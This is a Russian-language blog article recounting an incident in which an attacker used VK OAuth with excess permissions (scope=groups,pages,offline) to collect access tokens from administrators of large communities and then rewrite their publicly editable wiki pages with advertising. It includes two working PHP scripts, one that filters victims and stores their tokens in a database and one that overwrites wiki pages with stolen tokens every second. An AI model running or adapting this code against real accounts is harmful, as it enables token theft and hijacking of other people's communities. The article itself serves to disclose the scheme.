Пролог
В больших сообществах стало популярным делать рекламу в виде wiki-страниц, что и смогло расскрутить сообщество до 100 000 подписчиков, меньше чем за месяц. В сообществах стало популярным публиковать половину цытаты, а продолжение делать уже на самой wiki-странице, вот тут уже и пошло дело.
Сам процесс
Все начиналось с обычной авторизации ВКонтакте, но для злоумышлинника не нужно было сохранять в базу всех пользователей, а лишь администраторов которые имеют при себе неплохое сообщество. Для этого при авторизации он добавил 3 параметра, на которые, почему то, некоторые администраторы даже не ложили подозрение. И дак, задаем нужные параметры scope=groups,pages,offline.
Собственно, groups нужен лишь для того, чтобы определить пользователей которые имеют админские права хотя бы в 1 сообществе. Но зачем же нам все пользователи? Именно по этому злоумышленник и отсеивал не нужных людей методом groups.get, а именно делали проверку групп на количество подписчиков. В нашем случаи, в базу попадали только те администраторы, у которых как минимум было 10 000 подписчиков, что неплохо для начала.
Осторожно — быдлокод!
<?php
$token = "access_token жертвы";
//получаем группы пользователя
$data = json_decode(file_get_contents("https://api.vk.com/method/groups.get?filter=admin&access_token=$token"), 1);
if ($data['response']) {
$count = count($data['response']);
$gid = '';
for($i=0;$i<$count;$i++) $gid .= $data['response'][$i].',';
//получаем информацию о группах
$data = json_decode(file_get_contents("https://api.vk.com/method/groups.getById?fields=members_count&gids=$gid&access_token=$token"), 1);
for($i=0;$i<$count;$i++) {
//если хотя бы в 1 группе больше 10 000 пользователей, то записываем человека в базу
if ($data['response'][$i]['members_count']>10000) {
mysql_query("INSERT INTO `vk`.`vk` (`id` ,`uid` ,`token` ,`gid` ,`gnum`) VALUES (NULL , '$uid', '$token', '$gid', '$count');");
exit;
}
}
} else echo 'Пользователь не имеет групп';
?>
Дальше дела шли проще, у нас была красиво оформленна база, где и хранились наши избранные администраторы. Вид базы был скромным, приблизительно таким:
После этого, мы могли зайти на его страницу, и с легкостью посмотреть сообщества человека, и посмотреть на его access_token (ключ пользователя для обращения к VK API).
Дальше нужно было лишь подписаться на нужные сообщества-жертвы, и следить за тем, чтобы они опубликовали у себе запись с прикрипленной wiki-страницой. Проблемма со стороны ВКонтакте заключалась в том, что все ново-созданные wiki-страницы, могли редактировать все. И некоторые администраторы (большая часть) не меняли приватность на страницы, что и было их ошибкой.
После того как мы находили нужные wiki-страницы, мы добавляли их в простой скрипт, который собственно и обеспечивал нам рекламу. Но для лучшей эффективности, этот скрипт обновлялся каждую секунду, на случай того что администратор заметит подмену кода, и изменит его назад.
Осторожно — быдлокод!
<?php
function api($group, $page, $text, $token) {
$text = urlencode($text);
$resp = file_get_contents("https://api.vk.com/method/pages.save?Text=$text&access_token=$token&gid=$group&pid=$page");
$data = json_decode($resp, true);
if ($data['response']) echo '<font color="green">'.$group.'_'.$page.'</font> <a href="http://vk.com/page-'.$group.'_'.$page.'">»</a><br>';
else echo '<font color="red">'.$group.'_'.$page.'</font> ('.$data['error']['error_msg'].')<br>';
}
api(id_группы, id_страницы, 'текст wiki-страницы', 'токен');
api(id_группы, id_страницы, 'текст wiki-страницы', 'токен');
?>
Собственно все, в результате злоумышленник просто запускал скрипт на компьютере, и просто смотрел на ответ API. Если странице была добавлена приватность, то он просто вычеркивал данное сообщество со своего списка, и искал новые дальше.
Реакция пользователей
Как бы это подло не смотрелось, но рядовые пользователи ничего с этим поделать не могли. Все обращения в техподдержку, были просто напросто растоптаны в пух и прах. На вопросы недовольных пользователей, они лишь получали ответ о том, что это просто лазейка. И никаких нарушений нет.
Выходит, что никаких нарушений не было? Вот в чем разочарование.
Итог
После того как поступило много жалоб, но проблема не решилась, было принято решение написать одному с администраторов ВКонтакте, который и смог разрулить данную проблему. Домен злоумышленника был заблокирован, как и его сообщество, аккаунт и приложение.
Автор: Gromadchuk